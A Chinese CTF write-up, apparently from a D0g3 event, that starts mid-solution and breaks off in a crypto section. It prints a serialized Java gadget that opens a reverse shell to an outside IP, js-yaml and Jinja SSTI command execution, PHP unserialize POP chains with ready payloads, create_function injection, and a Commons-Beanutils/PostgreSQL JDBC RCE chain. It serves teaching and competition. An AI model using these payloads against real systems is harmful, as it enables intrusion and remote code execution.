b3J0LkhlYWRlcnMkSW5zZW5zaXRpdmVDb21wYXJhdG9yyIEeXDpxA/ECAAB4cHQAEG91dHB
1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybm
FsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlc
kkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2
YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZ
hL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdX
IAAltCrPMX+AYIVOACAAB4cAAABinK/rq+AAAANAA1CgAiACMIACQKACIAJQoAJgAnCgAHA
CgHACkHACoBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRl
cm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3Nlcml
hbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYm
xlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxldmlsOwEABHZhcjEBAC1MY29tL
3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAR2YXIyAQBCW0xj
b20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGl
vbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbG
FuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hb
C9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL9hcGFjaGUveG1sL2ludGVybmFsL3Nlc
mlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBADVMY29tL3N1bi9vcmcvYXBhY2hl
L3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEABHZhcjMBAEFMY29tL3N1bi9
vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbG
VyOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sY
W5nL1N0cmluZzsHACwBAAY8aW5pdD4BAAMoKVYBAApTb3VyY2VGaWxlAQAJZXZpbC5qYXZh
BwAtDAAuAC8BAGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppOWtaWFl2ZEdOd0x6UTN
MakV4TXk0eE9Ua3VNVFE0THpnNE9EZ2dNRDRtTVE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLW
l9DAAwADEHADIMADMANAwAHgAfAQAEZXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhb
i9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29y
Zy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZ
hL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKC
lMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphd
mEvbGFuZy9Qcm9jZXNzOwEAA0NDNgEACmdldFBheWxvYWQBAAQoKVtCACEABgAHAAAAAAAE
AAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAALAAwAAAAgAAMAAAABAA0
ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAA
AAAbEAAAACAAsAAAAGAAEAAAAOAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAE
QAWAAIAAAABABcAGAADABMAAAAEAAEAFAAJABkAGgACAAoAAABAAAIAAQAAAA64AAESArYA
A1e4AARXsQAAAAIACwAAAA4AAwAAABEACQASAA0AEwAMAAAADAABAAAADgAbABwAAAATAAA
ABAABAB0AAQAeAB8AAgAKAAAAQAACAAEAAAAOKrcABbgAARICtgADV7EAAAACAAsAAAAOAA
MAAAAUAAQAFQANABYADAAAAAwAAQAAAA4ADQAOAAAAEwAAAAQAAQAdAAEAIAAAAAIAIXB0A
AN0dnRwdwEAeHEAfgANeA==";
e.addAttribute("javaSerializedData", Base64.getDecoder().dec
ode(base64EncodedData));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

我们对编译好的 CB 使 base64 编码,不直接调用.防止 jar 包时的内部 api 错误. 本地我们使用 CVE-2022-22978 绕过身份认证,使用 fastjson 的缓存绕过,实现 jndi注入
的发起.
image.png
image.png
image.png

 

signal

首先这个题因为是把其他文件格式转换为yaml格式然后yaml.load()会加载为js对象,在github找js-yaml文档说明,怎么解析对象的,官网也给了例子的,这里就直接看它能解析成什么
image.png
发现能解析方法
image.png
js-yaml的version 是3.14.1 ,跟新版本提交对比
https://github.com/nodeca/js-yaml/commit/ee74ce4b4800282b2f23b776be7dc95dfe34db1c
这是默认为危险模式的最后一个版本,该模式允许您使用 tag 构造任意 JS 函数。!!js/function
image.png
然后在模版渲染的地方,会自动调用对象的tostring方法
所以上传文件yaml文件内容为下面payload就行了

"name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}"}

Swagger docs

1.读接口文档弄清楚网站功能
2.注册用户

http://47.108.206.43:40476/api-base/v0/register
{"username":"admin","password":"admin"}

3.登陆

http://47.108.206.43:40476/api-base/v0/login
{"username":"admin","password":"admin"}

4.任意文件读取
测试发现在/api-base/v0/search接口存在任意文件读取

  • 读进程
http://47.108.206.43:40476/api-base/v0/search?file=../../../../../proc/1/cmdline&type=text
  • 读源码位置
http://47.108.206.43:40476/api-base/v0/search?file=../../../../../app/run.sh&type=text
  • 读源码

5.代码审计

image.png

  • 发现/api-base/v0/search存在render_template_string(),可导致ssti造成rce,只需要控制渲染内容即可
  • uapate()函数中存在类似于原型链污染,可以利用来修改环境变量
image.png

这一步思路就是通过原型链污染,修改http_proxy环境变量,即可控制请求的响应数据来造成ssti,实现rce。

http://47.108.206.43:40476/api-base/v0/update
{
        "__init__": {
            "__globals__": {
                "os": {
                    "environ": {
                        "http_proxy":"ip:port"
                    }
                }
            }
        }
    }

修改代理后即可随意发送请求(注意:得选择text才能进入渲染)

http://47.108.206.43:40476/api-base/v0/search?file=user&type=text

VPS控制请求响应:
HTTP/1.1 200 OK

{{lipsum.__globals__['os'].popen('cat EY6zl0isBvAWZFxZMvCCCTS3VRVMvoNi_FLAG').read()}}

image.png
此外,除了配合render_template_string()实现rce以外,还有其他师傅采用了其他方法。这里贴一个p4d0rn师傅的方法,感谢p4d0rn的支持!
ac96bbdda6fc47f443ea66c992fe1300.png

 

easy_unserialize

被打爆了QAQ, 考虑实在不周到, 导致出现了很多非预期解, 向师傅们说抱歉了
题目:

<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;

    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }

    public function __isset($arg1)
    {
        if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)
            {
                $this->g1->g1=666;
            }
        }else{
            die("No");
        }
    }
}
class Luck{
    public $l1;
    public $ll2;
    private $md5;
    public $lll3;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
    public function __toString()
    {
        $new = $this->l1;
        return $new();
    }

    public function __get($arg1)
    {
        $this->ll2->ll2('b2');
    }

    public function __unset($arg1)
    {
        if(md5(md5($this->md5)) == 666)
        {
            if(empty($this->lll3->lll3)){
                echo "There is noting";
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
    public function  __call($arg1,$arg2)
    {
        if(urldecode($this->arg1)===base64_decode($this->arg1))
        {
            echo $this->t1;
        }
    }
    public function __set($arg1,$arg2)
    {
        if($this->tt2->tt2)
        {
            echo "what are you doing?";
        }
    }
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}
class Flag{
    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}

if(isset($_POST['D0g3']))
{
    unserialize($_POST['D0g3']);
}else{
    highlight_file(__FILE__);
}
?>

第一点: shell脚本变量构造数字

if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
if ($this->gg2)

image-20231105160341904.png

// 故:
$g = new Good('${##}');

另: 由于本题出题人的失误, 题目中preg_match() 这里逻辑其实有问题, 导致任意赋值均可

第二点: 双重md5:

if(md5(md5($this->md5)) == 666)

md5.py:

# -*- coding: utf-8 -*-
# 运行: python2 md5.py "666" 0
import multiprocessing
import hashlib
import random
import string
import sys

CHARS = string.ascii_letters + string.digits


def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    global CHARS
    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds)
        value = md5.hexdigest()
        if value[start: start + str_len] == substr:
            # print rnds
            # stop_event.set()

            # 碰撞双md5
            md5 = hashlib.md5(value)
            if md5.hexdigest()[start: start + str_len] == substr:
                print rnds + "=>" + value + "=>" + md5.hexdigest() + "\n"
                stop_event.set()



if __name__ == '__main__':
    substr = sys.argv[1].strip()
    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                                               stop_event, str_len, start_pos))
                 for i in range(cpus)]
    for p in processes:
        p.start()
    for p in processes:
        p.join()
python2 md5.py "666" 0 

image-20231118204400660.png
三部分从左向右分别是源字符串、md5一次加密、md5二次加密
取符合要求(本题要求前三位为666)的md5二次加密对应的源字符串即可 (可能需要运行多次)

第三点:

if(urldecode($this->arg1)===base64_decode($this->arg1))

可以用数组绕过:

$t = new To();
$t->arg1[]=1;

也可以直接赋值为空:

$t = new To();
$t->arg1 = '';

第四点 :

array_walk($this, function ($one, $two) {
        $three = new $two($one);
        foreach($three as $tmp){
            echo ($tmp.'<br>');
        }
});

这里先用原生类FilesystemIterator或DirectoryIterator扫目录, 再用原生类SplFileObject读flag
即:

class Flag{
    public $FilesystemIterator='/'; //扫目录文件
   // 或者是 public $DirectoryIterator = "glob:///F*";
}

class Flag{
     public $SplFileObject='/FfffLlllLaAaaggGgGg'; //读文件

以下是完整的pop链:

//原生类FilesystemIterator或DirectoryIterator扫目录:
<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

class Flag{
    public $FilesystemIterator='/'; //扫目录文件
   // 或者是 public $DirectoryIterator = "glob:///F*";
}
$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42');// 这个不固定
$t = new To();
$y= new You();
$f = new Flag();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1=$f;      // Luck::__toString()->Flag::__invoke()
echo urlencode(serialize($y));

//对应payload:
O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A18%3A%22FilesystemIterator%22%3Bs%3A1%3A%22%2F%22%3B%7Ds%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A5%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

可以用FilesystemIterator类:
image.png
或者用DirectoryIterator类:
image.png

//原生类SplFileObject读文件
<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

class Flag{
     public $SplFileObject='/FfffLlllLaAaaggGgGg'; //读文件
}
$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42'); // 这个不固定
$t = new To();
$y= new You();
$f = new Flag();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1=$f;      // Luck::__toString()->Flag::__invoke()
echo urlencode(serialize($y));

//对应payload:
O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A13%3A%22SplFileObject%22%3Bs%3A20%3A%22%2FFfffLlllLaAaaggGgGg%22%3B%7Ds%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A5%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

image.png

其他非预期解:
在__toString()到__invoke()衔接的时候可以直接用phpinfo:

public function __toString()
{
    $new = $this->l1;
    return $new(); // 可以直接调用phpinfo来读取flag
}

完整的pop链:

<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42');// 这个不固定
$t = new To();
$y= new You();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1='phpinfo';      // Luck::__toString()->phpinfo
echo urlencode(serialize($y));
// O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A4%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

然后得到flag
借用一下Hyperion战队师傅的图:
image.png

 

 

what’s my name

@$miao=create_function('$a, $b', $sort_function);
  • 这里有一个典型的create_function的注入
?d0g3="]);}任意代码执行;/*
  • 要进入该函数需要过三个条件
  • 第一个条件
if(preg_match('/^(?:.{5})*include/',$d0g3))
  • 这里要求传参的第6位开始必须是include,提示了使用include函数,
?d0g3="]);}include('利用语句');任意代码执行;/*
  • 第二个条件
strlen($d0g3)==substr($miao, -2)
  • 匿名函数在创建后,函数变量会存储一个值从lambda_1开始,数字不断增大的字符串,且每创建一次,这个字符串数字部分都会增大,除非结束php的进程,刷新网页仍会继续计数
  • 这里需要控制利用语句数目等于匿名函数数字部分后两位,可以通过脚本循环实现
  • 第三个条件
$name===$miao
  • 看上去很简单,和第二个条件一样,比如设定好?name=lambda_10,然后访问5次页面(创建10次匿名函数)即可,但是实际上可以通过下面的语句发现,实际上创建的匿名函数的名字前面会默认带一个\0结束符,在大多数情况下这不会造成任何影响,但是在浏览器地址栏传参时,\0将无法传入
echo var_export($miao);
  • 这个问题也可以通过脚本得到解决
  • 通过dirsearch或者手测,我们可以发现一个admin.php,使用伪协议包含发现里面有大量的假flag(100万行),考虑使用strip_tags过滤掉大量的php标签内的无关信息
  • 由此得出脚本(需要跑一会儿才出得来)
import requests
import re
url=input("请输入地址:")
while 1:
    a=requests.get(url+"?d0g3=%22]);}include(%27php://filter/read=string.strip_tags/resource=admin.php%27);echo 'aaaaaa';/*&name=\0lambda_187")
    if"aaaaaa" in a.text:
        break
    print("尝试中")
print(re.sub("aaaaaa",'',re.sub(r"<code>[\s\S]*?</code>",'',a.text)))
 

ez_java

根据pom.xml,环境存在CB、postgresql依赖,不难想到可以通过CB链来调用getter方法来触发postgresql JDBC攻击,对应的getter方法为BaseDataSource#getConnection
image.png
由于环境不出网,只能选择postgresql JDBC的logger链去写文件。这个可以选择通过覆盖/app/templates/index.ftl打模板注入
但需要注意的是BaseDataSource反序列化逻辑,首先是geturl方法,会把扩展参数和数据库名部分进行一次urlencode导致模板标签被编码掉,读者自行去阅读相关逻辑,进行分析调试
这里可以重写org.postgresql.ds.common.BaseDataSource,将模板注入payload放到serverNames位置避免被编码,重写部分如下:
image.png
text为freemaker模版rce的payload
其次就是触发compare,由于PriorityQueue在黑名单中,这里用treeMap#get来触发compare方法,这里用CC7相关部分触发一哈Map#get
exp

package org.example;

import org.apache.commons.beanutils.BeanComparator;
import org.postgresql.ds.PGSimpleDataSource;


import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.URLEncoder;
import java.util.*;


import static org.example.Tools.setFieldValue;


public class Main {
    public static void main(String[] args) throws Exception {
      	//设置扩展参数
        PGSimpleDataSource pgSimpleDataSource = new PGSimpleDataSource();
        pgSimpleDataSource.setProperty("connectTimeout","100000000000000000");
        pgSimpleDataSource.setProperty("loggerFile", "/app/templates/index.ftl");
        pgSimpleDataSource.setProperty("loggerLevel", "DEBUG");

        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        setFieldValue(beanComparator, "property", "connection");

        HashMap gadgetHashMap = new HashMap();
        gadgetHashMap.put(pgSimpleDataSource, null);

        TreeMap treeMap = makeTreeMap(beanComparator);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("AaAaAa", treeMap);
        hashMap1.put("BBAaBB", gadgetHashMap);

        HashMap hashMap2 = new HashMap();
        hashMap2.put("AaAaAa", gadgetHashMap);
        hashMap2.put("BBAaBB", treeMap);

        Hashtable table = new Hashtable();
        setFieldValue(table, "count", 2);
        Class nodeC = Class.forName("java.util.Hashtable$Entry");
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, hashMap1, 1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, hashMap2, 2, null));
        setFieldValue(table, "table", tbl);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(table);
        oos.close();

        System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(barr.toByteArray()))));

//        ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
//        ObjectInputStream ois = new Security(in);
//        Object ob = ois.readObject();
    }

    public static TreeMap makeTreeMap(Comparator beanComparator) throws Exception {
        TreeMap treeMap = new TreeMap(beanComparator);

        setFieldValue(treeMap, "size", 1);
        setFieldValue(treeMap, "modCount", 1);

        Class EntryC = Class.forName("java.util.TreeMap$Entry");
        Constructor EntryCons = EntryC.getDeclaredConstructor(Object.class, Object.class, EntryC);
        EntryCons.setAccessible(true);

        setFieldValue(treeMap, "root", EntryCons.newInstance("nivia", 1, null));

        return treeMap;
    }
}

攻击:
/read?exp=rO0ABXNyABNqYXZhLnV0aWwuSGFzaHRhYmxlE7sPJSFK5LgDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA%2FQAAAAAAACHcIAAAAAgAAAAJzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAnQABkFhQWFBYXNxAH4AAj9AAAAAAAAMdwgAAAAQAAAAAXNyACRvcmcucG9zdGdyZXNxbC5kcy5QR1NpbXBsZURhdGFTb3VyY2XHvJ7A3bo18QMAAHhwdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQBMmxvY2FsaG9zdC8%2Fbml2aWE9PCNhc3NpZ24gYWM9c3ByaW5nTWFjcm9SZXF1ZXN0Q29udGV4dC53ZWJBcHBsaWNhdGlvbkNvbnRleHQ%2BPCNhc3NpZ24gZmM9YWMuZ2V0QmVhbignZnJlZU1hcmtlckNvbmZpZ3VyYXRpb24nKT48I2Fzc2lnbiBkY3I9ZmMuZ2V0RGVmYXVsdENvbmZpZ3VyYXRpb24oKS5nZXROZXdCdWlsdGluQ2xhc3NSZXNvbHZlcigpPjwjYXNzaWduIFZPSUQ9ZmMuc2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoZGNyKT4keyJmcmVlbWFya2VyLnRlbXBsYXRlLnV0aWxpdHkuRXhlY3V0ZSI%2FbmV3KCkoImNhdCAvZmxhZyIpfXQAAHQBITwjYXNzaWduIGFjPXNwcmluZ01hY3JvUmVxdWVzdENvbnRleHQud2ViQXBwbGljYXRpb25Db250ZXh0PjwjYXNzaWduIGZjPWFjLmdldEJlYW4oJ2ZyZWVNYXJrZXJDb25maWd1cmF0aW9uJyk%2BPCNhc3NpZ24gZGNyPWZjLmdldERlZmF1bHRDb25maWd1cmF0aW9uKCkuZ2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoKT48I2Fzc2lnbiBWT0lEPWZjLnNldE5ld0J1aWx0aW5DbGFzc1Jlc29sdmVyKGRjcik%2BJHsiZnJlZW1hcmtlci50ZW1wbGF0ZS51dGlsaXR5LkV4ZWN1dGUiP25ldygpKCJjYXQgL2ZsYWciKX1wdXIAAltJTbpgJnbqsqUCAAB4cAAAAAEAAAAAc3IAFGphdmEudXRpbC5Qcm9wZXJ0aWVzORLQenA2PpgCAAFMAAhkZWZhdWx0c3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cQB%2BAAA%2FQAAAAAAACHcIAAAACwAAAAN0AAtsb2dnZXJMZXZlbHQABURFQlVHdAAKbG9nZ2VyRmlsZXQAGC9hcHAvdGVtcGxhdGVzL2luZGV4LmZ0bHQADmNvbm5lY3RUaW1lb3V0dAASMTAwMDAwMDAwMDAwMDAwMDAweHB4cHh0AAZCQkFhQkJzcgARamF2YS51dGlsLlRyZWVNYXAMwfY%2BLSVq5gMAAUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHBzcgArb3JnLmFwYWNoZS5jb21tb25zLmJlYW51dGlscy5CZWFuQ29tcGFyYXRvcuOhiOpzIqRIAgACTAAKY29tcGFyYXRvcnEAfgAaTAAIcHJvcGVydHl0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyACpqYXZhLmxhbmcuU3RyaW5nJENhc2VJbnNlbnNpdGl2ZUNvbXBhcmF0b3J3A1x9XFDlzgIAAHhwdAAKY29ubmVjdGlvbncEAAAAAXQABW5pdmlhc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAF4eHNxAH4AIwAAAAJzcQB%2BAAI%2FQAAAAAAADHcIAAAAEAAAAAJxAH4ABHEAfgAbcQB%2BABhxAH4ABXhxAH4AJXg%3D

 

 

crypto

010101

将前半部分和后半部分分别异或1进行还原,最后得到p

from Crypto.Util.number import long_to_bytes

N = ***
p = ***
m = ***
p = str(p)
e = 65537
flag = False
print(len(p))
for j in range(len(p)):
    p2 = list(p)
    p2[j] = str(int(p[j]) ^ int('1'))  # 将p的第j位与1进行异或
    for i in range(j + 1, len(p)):  # 从p的第j+1位开始遍历
        p3 = list(p2)
        p3[i] = str(int(p[i]) ^ int('1'))  # 将p2的第i位与1进行异或
        if N % int(''.join(p3), 2) == 0:
            modified_p = int(''.join(p3), 2)
            flag = True
            break
    if flag:
        break
q = N // modified_p
phi = (modified_p - 1) * (q - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(m, d, N)))

# D0g3{sYuWzkFk12A1gcWxG9pymFcjJL7CqN4Cq8PAIACObJ}

POA

不断构造IV并发送,接收解密结果,恢复AES CBC解密的中间值,最后与IV进行异或得到

from hashlib import sha256
import itertools
import socket
import string
from Crypto.Util.number import long_to_bytes, bytes_to_long


def proof(broke, Hash):
    assert len(broke) == 16 and len(Hash) == 64
    shaTable = string.ascii_letters + string.digits
    for ii in itertools.permutations(shaTable, 4):
        x = ''.join(ii)
        s = x + broke
        if sha256(s.encode()).hexdigest() == Hash:
            print(x)
            return x


def con():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('124.71.177.14', 10010))
    proof_data = sock.recv(2048)
    send_proof = (proof(proof_data[14:30].decode(), proof_data[32:96].decode())).encode()
    sock.recv(2048)
    sock.send(send_proof)
    data1 = sock.recv(2048)
    print(data1.decode())
    sock.send('1\n'.encode())
    cipher = sock.recv(4096).decode().split(' ')[-1]
    print(cipher)
    guess_iv = [0 for _ in range(16)]
    restore_midd = [0 for _ in range(16)]
    index = 1

    for i in range(15, -1, -1):
        for j in range(0, 256):
            sock.send('2'.encode())
            txt = sock.recv(4096).decode()
            guess_iv[i] = j
            mess = bytes(guess_iv).hex() + cipher[32:]
            sock.send(('%s\n' % mess).encode())
            result = sock.recv(4096).strip().decode()
            if result == 'True':
                print('find')
                restore_midd[i] = index ^ j
                for k in range(15, i - 1, -1):
                    guess_iv[k] = restore_midd[k] ^ (index + 1)
                break
        index += 1

    m = bytes_to_long(bytes(restore_midd)) ^ int(cipher[:32], 16)
    print(long_to_bytes(m))


if __name__ == '__main__':
    con()

Rabin

解方程恢复e1, e2
解RSA+RSA Rabin

from Crypto.Util.number import isPrime, long_to_bytes
from decimal import Decimal, getcontext
from sympy import *
import itertools
import gmpy2
getcontext().prec = 4096  # To get all digits


def quadratic(b, c):
    b, c = Decimal(b), Decimal(c)
    disc = b ** 2 - 4 * c
    return (-b + disc.sqrt()) / 2, (-b - disc.sqrt()) / 2


n = 25081463705180781996679261124596061092265027217177442110009672536287611035433164467236107028842193281401124027801393023650693560620885615824520322657520617339935322895564643494618516233724950891617388660169075017607964392359804023955882016396861985846129993294505286741689205280008038006546952055276972990823791694823181185251270233467305949817382871009794383655366542100850279022750523804566313850344433027277839406223935894591263124253590123692074096852039532069582188170027243637476580345646722951102799641161270512744015254851776180222969276294203981065571176285773365596884331139055489449098946488906311519530737654631520609185015711351796702838811269677332229919538688567448773695370427813120860573392862038564765350618838727020380646909159355594259600939